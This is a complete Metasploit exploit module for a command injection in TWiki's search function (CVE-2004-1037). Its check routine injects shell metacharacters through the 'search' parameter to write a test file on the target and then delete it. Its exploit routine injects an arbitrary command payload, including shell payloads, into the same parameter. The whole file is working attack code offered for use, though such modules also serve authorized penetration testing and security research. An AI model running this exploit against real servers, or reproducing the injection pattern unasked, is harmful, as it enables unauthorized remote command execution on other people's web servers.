##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TWiki Search Function Arbitrary Command Execution',
        'Description' => %q{
          This module exploits a vulnerability in the search component of TWiki.
          By passing a 'search' parameter containing shell metacharacters to a
          'Search' script, an attacker can execute arbitrary OS commands.

          Affected versions:
          - 20040901
          - 20030201
          - 20011201
          - 20001201
          - SVN up to and including revision 3224
        },
        'Author' => [
          # Unknown - original discovery
          'jduck',    # metasploit version
          'g0tmi1k'   # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-1037' ],
          [ 'OSVDB', '11714' ],
          [ 'BID', '11674' ],
          [ 'URL', 'https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ]
        ],
        'DisclosureDate' => '2004-10-01',
        'Privileged' => true, # web server context
        'Platform' => %w[unix linux],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'DisableNops' => true,
          'BadChars' => ' ',
          'Space' => 1024
        },
        'Targets' => [[ 'Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
        # /view/Main/WebSearch      - https://github.com/rapid7/metasploit-framework/commit/6414821ea860c6f33d9129d9af0e9648be5972a9
        # /search/Main/SearchResult - https://www.exploit-db.com/exploits/642
        OptString.new('SEARCH_PATH', [ true, "TWiki search directory path", "/search/Main/SearchResult" ]),
      ]
    )
  end

  def report_twiki_service
    report_service(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: 'TWiki',
      parents: {
        name: ssl ? 'https' : 'http',
        host: rhost,
        port: rport,
        proto: 'tcp',
        parents: {
          name: 'tcp',
          host: rhost,
          port: rport,
          proto: 'tcp',
          parents: nil
        }
      }
    )
  end

  def send_request(uri, timeout = 25)
    send_request_cgi({
      'uri' => uri
    }, timeout)
  end

  def check
    content = rand_text_alphanumeric(16 + rand(16))
    test_file = rand_text_alphanumeric(8 + rand(8))
    test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file)
    search_url = normalize_uri(datastore['URI'], datastore['SEARCH_PATH'])
    search_url << '?search='
    vprint_status("URI: #{search_url}")

    # first see if it already exists (it really shouldn't)
    res = send_request(test_url)
    if (not res) or (res.body.match(content))
      vprint_warning("The test file exists already!")
      return Exploit::CheckCode::Unknown('Could not determine the target status') # Need to try again with a different file
    end

    # try to create it
    vprint_status("Attempting to create: #{test_url}")
    search = rand_text_alphanumeric(1 + rand(8))
    search << "';echo${IFS}" + content + "${IFS}|tee${IFS}" + test_file + ".txt;#'"
    res = send_request(search_url + Rex::Text.uri_encode(search))
    if (not res) or (res.code != 200)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # try to call it
    vprint_status("Checking if created: #{test_url}")
    res = send_request(test_url)
    if (not res) or (not res.body.match(content))
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 500)") unless res&.code == 500
      vprint_warning("Error with exploit request (Content doesn't match)") unless res&.body&.match(content)
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # delete the tmp file
    print_status("Attempting to delete: #{test_url}")
    search = rand_text_alphanumeric(1 + rand(8))
    search << "';rm${IFS}-f${IFS}" + test_file + ".txt;#'"
    res = send_request(search_url + Rex::Text.uri_encode(search))
    if (not res) or (res.code != 200)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200
      print_warning("Unable to remove test file (#{test_file})")
    end

    report_twiki_service
    return Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  def exploit
    search_url = normalize_uri(datastore['URI'], datastore['SEARCH_PATH'])
    search_url << '?search='
    search_url << rand_text_alphanumeric(1 + rand(8))
    vprint_status("URI: #{search_url}")

    search = "';" + payload.encoded + ";#'"
    vprint_status("Executing command: #{payload.encoded}")

    vprint_status("Sending payload")
    # Very short timeout because the request may never return if we're sending a socket payload
    timeout = 0.1
    res = send_request(search_url + Rex::Text.uri_encode(search), timeout)
    vprint_status("Payload sent")

    # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
    if res.nil?
      vprint_warning("The request received no response in the allotted time, and is expected, even if the exploit succeeds.")
    elsif res.code != 200
      vprint_error("Error with payload request (HTTP #{res.code}, should be 200)")
    end
  end
end
